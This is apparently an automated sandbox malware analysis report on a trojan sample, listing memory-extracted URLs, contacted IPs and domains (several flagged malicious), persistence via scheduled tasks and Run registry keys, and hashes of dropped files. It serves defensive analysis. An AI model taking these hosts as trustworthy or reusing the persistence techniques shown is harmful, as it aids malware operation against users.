https://%s.xboxlive.com	svchost.exe, 0000000B.00000002.598091083.00000139B4E29000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307263823.00000159C2948000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbc90995-327840285-2659745135-2630312742	svchost.exe, 0000000A.00000003.377405699.00000159C2955000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000E.00000003.307901327.000002DD32847000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/o	svchost.exe, 0000000A.00000003.285144430.00000159C292E000.00000004.00000001.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601ssuer	svchost.exe, 0000000A.00000002.636886402.00000159C30B3000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp	false		high
https://account.live.com/msangcwams	svchost.exe, 0000000A.00000003.296213720.00000159C2948000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trustQQUSI	svchost.exe, 0000000A.00000003.377405699.00000159C2955000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trustn	svchost.exe, 0000000A.00000002.619035755.00000159C2913000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-2000	svchost.exe, 0000000A.00000003.307843725.00000159C2969000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdtps:/	svchost.exe, 0000000A.00000003.296428257.00000159C2982000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296355726.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296850763.00000159C298B000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000002.308678325.000002DD3285C000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000003.307948434.000002DD3285A000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbc48496-2624191407-3283318427-1255436723	svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tbusi	svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.mi	svchost.exe, 0000000A.00000003.418201197.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.380265933.00000159C2989000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/scicy	svchost.exe, 0000000A.00000002.622736368.00000159C2937000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000E.00000002.308630340.000002DD3283D000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd23	svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 0000000A.00000003.318701895.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291713284.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303341556.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318361748.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294086522.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296769107.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302843963.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303134586.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302988191.00000159C226C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418066269.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305499944.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295872846.00000159C295F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303061026.00000159C226D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318751449.00000159C2960000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.625746150.00000159C2961000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318640163.00000159C295B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303206364.00000159C226C000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scp	svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 0000000A.00000003.302900762.00000159C30AD000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295704709.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296810811.00000159C2994000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303422350.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307843725.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296794174.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418367363.00000159C2956000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/scg	svchost.exe, 0000000A.00000002.619035755.00000159C2913000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000E.00000002.308642618.000002DD32842000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308085043.000002DD32841000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 0000000A.00000003.302377487.00000159C298A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294135803.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296740926.00000159C299A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302529199.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299823856.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299709872.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293559312.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299695905.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296497058.00000159C2992000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299733058.00000159C295B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299941137.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293513069.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.306871595.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293788329.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302735266.00000159C298A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302304092.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID	svchost.exe, 0000000A.00000002.626150434.00000159C306A000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.307882060.000002DD32861000.00000004.00000001.sdmp	false		high
http://schemas.microso	svchost.exe, 0000000A.00000003.382595017.00000159C2948000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000E.00000003.308006712.000002DD32840000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2	svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300132751.00000159C2954000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA	svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPF	svchost.exe, 0000000A.00000003.303341556.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305499944.00000159C295F000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/tb	svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.579083943.00000159C2294000.00000004.00000001.sdmp	false		high
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302354748.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302368744.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293743743.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297231335.00000159C295A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://dhttp://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://signup.live.com/signup.aspx	svchost.exe, 0000000A.00000003.293917984.00000159C298C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.298372199.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293896229.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.281662678.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295728061.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.569053801.00000159C2243000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296882891.00000159C30C7000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.638652990.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297053072.00000159C30C8000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297114349.00000159C30C8000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
45.135.233.182	host-data-coin-11.com	Russian Federation	49392	ASBAXETNRU	false
194.147.84.248	patmushta.info	Russian Federation	61400	NETRACK-ASRU	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
54.38.220.85	unicupload.top	France	16276	OVHFR	false
52.101.24.0	microsoft-com.mail.protection.outlook.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.38.221	goo.su	United States	13335	CLOUDFLARENETUS	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
162.159.129.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
141.8.194.74	a0621298.xsph.ru	Russian Federation	35278	SPRINTHOSTRU	false

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	552870
Start date:	13.01.2022
Start time:	20:48:33
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	emPJndhuvA.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@61/41@91/14
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 47.1% (good quality ratio 38%) Quality average: 64.9% Quality standard deviation: 38.2%
HCA Information:	Successful, ratio: 95% Number of executed functions: 154 Number of non-executed functions: 228
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 23.35.236.56, 20.190.154.19, 40.126.26.134, 20.190.154.18, 20.190.154.137, 20.190.154.136, 20.190.154.139, 20.190.154.16, 20.190.154.17, 20.190.160.8, 20.190.160.4, 20.190.160.71, 20.190.160.132, 20.190.160.2, 20.190.160.73, 20.190.160.75, 20.190.160.134, 96.16.143.41, 96.16.150.73, 20.42.65.92, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179, 13.89.179.12 Excluded domains from analysis (whitelisted): www.tm.lg.prod.aadmsa.akadns.net, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e11290.dspg.akamaiedge.net, e13551.dscg.akamaiedge.net, msagfx.live.com-6.edgekey.net, authgfx.msa.akadns6.net, go.microsoft.com, login.live.com, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com, www.bing.com, yandex.ru, fs.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, iplogger.org, e1723.g.akamaiedge.net, www.tm.a.prd.aadg.akadns.net, login.msa.msidentity.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, go.microsoft.com.edgekey.net, blobcollector.events.data.trafficmanager.net, clientconfig.passport.net, microsoft.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:49:38	API Interceptor	2x Sleep call for process: svchost.exe modified
20:50:15	Task Scheduler	Run new task: Firefox Default Browser Agent BF39D970AE7F435F path: C:\Users\user\AppData\Roaming\tiftjuh
20:50:34	API Interceptor	1x Sleep call for process: FD2B.exe modified
20:50:54	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:50:55	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
20:51:22	API Interceptor	1x Sleep call for process: explorer.exe modified
20:51:23	Task Scheduler	Run new task: mjlooy.exe path: C:\Users\user\AppData\Local\Temp\82aa4a6c48\mjlooy.exe
20:51:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_m.exe
20:51:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Steam C:\Users\user\AppData\Roaming\NVIDIA\dllhost.exe
20:52:00	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Driver C:\Users\user\AppData\Roaming\Sysfiles\setup_s.exe
20:52:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Steam C:\Users\user\AppData\Roaming\NVIDIA\dllhost.exe

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\IdentityCRL\production\wlidsvcconfig.xml Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	12703
Entropy (8bit):	5.664727316652114
Encrypted:	false
SSDEEP:	192:Tu8vk5/2HBw1tY3LZC7URIwKZ1bSvHSm5128Zil7Or5QwhJlAi:Tu8+2xZJRIwKZzm5yKFX
MD5:	0516512FF97C0F1DF67ED56A848B02A9
SHA1:	F50B8012260B8085EE1F350F78D8F3D24FB4F5EF
SHA-256:	41BE64D933BE2102AB9651C6478959EDB3763A7AA7B32E4E086150F7F13CE7A0
SHA-512:	CE06CA9414EF56987D45D43253DA96B53074BFED48DC4383AAF8EFC78CC3EEF2B982738CC7AEF9E3F750A2F55EF14EEED3F077026ADDC07C4D01D36BFB3A767C
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="us-ascii"?><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><cfg:Configuration version="1.1" xmlns:cfg="http://schemas.microsoft.com/Passport/PPCRL"> .. When a certificate is rev'd, a line like the following should be .. added to the cfg:Settings section:.. <cfg:Certificate expired="true">SLCA_BACKUP.CER</cfg:Certificate>.. --><cfg:Settings><cfg:DeviceDNSSuffix>.devicedns.live.com</cfg:DeviceDNSSuffix><cfg:ResolveTimeout>120000</cfg:ResolveTimeout><cfg:ConnectTimeout>60000</cfg:ConnectTimeout><cfg:SendTimeout>30000</cfg:SendTimeout><cfg:ReceiveTimeout>30000</cfg:ReceiveTimeout><cfg:MinMinutesBetweenMetaConfigCheck>1440</cfg:MinMinutesBetweenMetaConfigCheck><cfg:ConfigServerSslURI>https://go.microsoft.com/fwlink/?LinkId=859524</cfg:ConfigServerSslURI><cfg:DIDCOMMetaData><cfg:DIDWithAuth>1</cfg:DIDWithAuth><cfg:AssocPDIDToLDID>1</cfg:AssocPDIDToLDID><cfg:Protocol><cfg:CLSID>{1C109E4C-2F30-4EA3-A57A-A290877A2303}</cfg:CLSID><cfg:DATA

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.24860541449255014
Encrypted:	false
SSDEEP:	1536:BJiRdfVzkZm3lyf49uyc0ga04PdHS9LrM/oVMUdSRU4X:BJiRdwfu2SRU4X
MD5:	AA6BB71586A207C1805C93957AA30AD9
SHA1:	4DFEE4DC837378A57D1CDD209B6B65A1CEE6695F
SHA-256:	442E88CC083C574C0BC33DAAD27CBEC794D2BBCD6E9389807B3BDA866ADAE862
SHA-512:	2F0DF0E36BAD852287F4E96669D6E6BCFF71EACD912F2D05096DCFC7754D8EBF4EBA481216552068BFDA8453CD7A221EFA3E36877DA7C697AA8489F0D3649333
Malicious:	false
Reputation:	unknown
Preview:	V.d.........@..@.3...w...........................3...w..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.........................................d#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa30397f4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	0.2507428048063614
Encrypted:	false
SSDEEP:	384:s+W0StseCJ48EApW0StseCJ48E2rTSjlK/ebmLerYSRSY1J2:zSB2nSB2RSjlK/+mLesOj1J2
MD5:	7D10996D49DA5170622F111A8DB3B34C
SHA1:	0C045A3F8BA0C37DC286E381377A6D043864301E
SHA-256:	6182B373F28CCD8B703A8CD8E6E05EBF41DADE4901523196E0678272D1560E93
SHA-512:	15DD1652FC6408931EB4B2463D5C7976D430F1E05A150778BA40B91C56BE28701ADA03400D0300C048495C47CD543CDF6F99737C065B05693313E1649F96B30B
Malicious:	false
Reputation:	unknown
Preview:	....... ................e.f.3...w........................&..........w..&1...z..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w.........................................................................................................................................................................................................................................<&1...z..................T..&1...z..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07693191266980651
Encrypted:	false
SSDEEP:	3:C/7EvD47p+/tc8l/bJdAtiS9WApllllAll3Vkttlmlnl:Sif/i8t4pWMA3
MD5:	72AACDA5BA34A1204B0E1761FB516F25
SHA1:	1770B3792BD62164797B8463286B18D7ECA1D5CA
SHA-256:	FF7F15C485345CD656ED4496922F6EB2D137C044D1BC8CC242FF12383B127712
SHA-512:	04332DA807E7F6956F9C3C1E2373235D002F6741CEE8D030D9703FBCA08A9703548512D871F95BC2C75F242EA9A5F520789C152C571ECE838EAE7D8DD94DAC28
Malicious:	false
Reputation:	unknown
Preview:	rW.N.....................................3...w..&1...z.......w...............w.......w....:O.....w..................T..&1...z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_2819.exe_886dfb69803377da97d7c95cea5f58e4d54dd88_79c6d167_161f0920\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.813185051222203
Encrypted:	false
SSDEEP:	96:gJFibve1tLzH6/OQoJ7R3V6tpXIQcQec6tycEfcw3e+HbHg/8BRTf3o8Fa9iVfO5:kavazHN8HQ0lTjIq/u7sOS274Itn
MD5:	5DF816B307E5ED55ACEAE1818BF188C9
SHA1:	A2ECBBBDDEE5600524BF87EB68FF5599B32ED568
SHA-256:	E1659F9E3DBA19433F8BF949C621B590C6CFEC74710E63F2397FFF35F30EECAC
SHA-512:	6A171D4BE7C64A891ABD201851D68112132FEA330990FF28B8C7C5F7CE10BD5CE8A988DE9EC1E37D405E8E9470C911274DD0538FF0169E666EE0310DA78B1BB8
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.2.8.6.6.0.9.4.3.2.3.6.2.8.2.8.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.8.6.6.0.9.4.5.1.3.1.5.9.1.2.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.a.7.e.f.b.f.c.-.8.e.6.7.-.4.f.3.c.-.9.e.0.3.-.2.c.3.0.4.d.a.5.8.b.b.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.c.4.d.7.4.a.9.-.5.4.6.3.-.4.d.1.8.-.a.c.1.d.-.d.3.b.7.1.3.1.9.e.5.3.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.8.1.9...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.c.2.0.-.0.0.0.1.-.0.0.1.6.-.b.b.0.c.-.b.2.3.b.0.2.0.9.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.b.0.f.c.3.5.0.f.c.0.2.c.2.e.a.2.2.b.0.8.4.8.e.c.d.c.6.6.3.5.0.0.0.0.0.2.9.0.1.!.0.0.0.0.5.9.9.5.a.e.9.d.0.2.4.7.0.3.6.c.c.6.d.3.e.a.7.4.1.e.7.5.0.4.c.9.1.3.f.1.f.b.7.6.!.2.8.1.9...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.1././.1.1././.1.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3D44.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 04:50:35 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36668
Entropy (8bit):	2.120563142372381
Encrypted:	false
SSDEEP:	192:DaATNpst2Oeh0GHpTvML8S9JYzF7YBJPhfO1Fopz:CjeJh0LLo2BFhjz
MD5:	79EB4C3C1720452CFE290A77CC582C28
SHA1:	C9C73BE51B4919D7009C4AD29237379F508878D2
SHA-256:	A284AC58B9B88A70B6A7A0B3FE4B428E664E59E039F2BE9DEACF9D4C8333EFC0
SHA-512:	061894FDBFAC7FD90291909E767D191B28F6BFCF9158EEA604B6503CEBA18644EEC09CE7DF693D5080CC4CB0F2E4C04DD1CC9EADE62C38A9A5A75B3243B9C16B
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... ..........a........................................z%..........T.......8...........T................z..........H...........4....................................................................U...........B..............GenuineIntelW...........T....... ......a.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D14.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.700961067644554
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiQSd6tRsQ6YIDSUUzgmfzRSiAzCpDL89bY8sf7vZIm:RrlsNiX6tRsQ6YcSUigmfzRSiAfYPf77
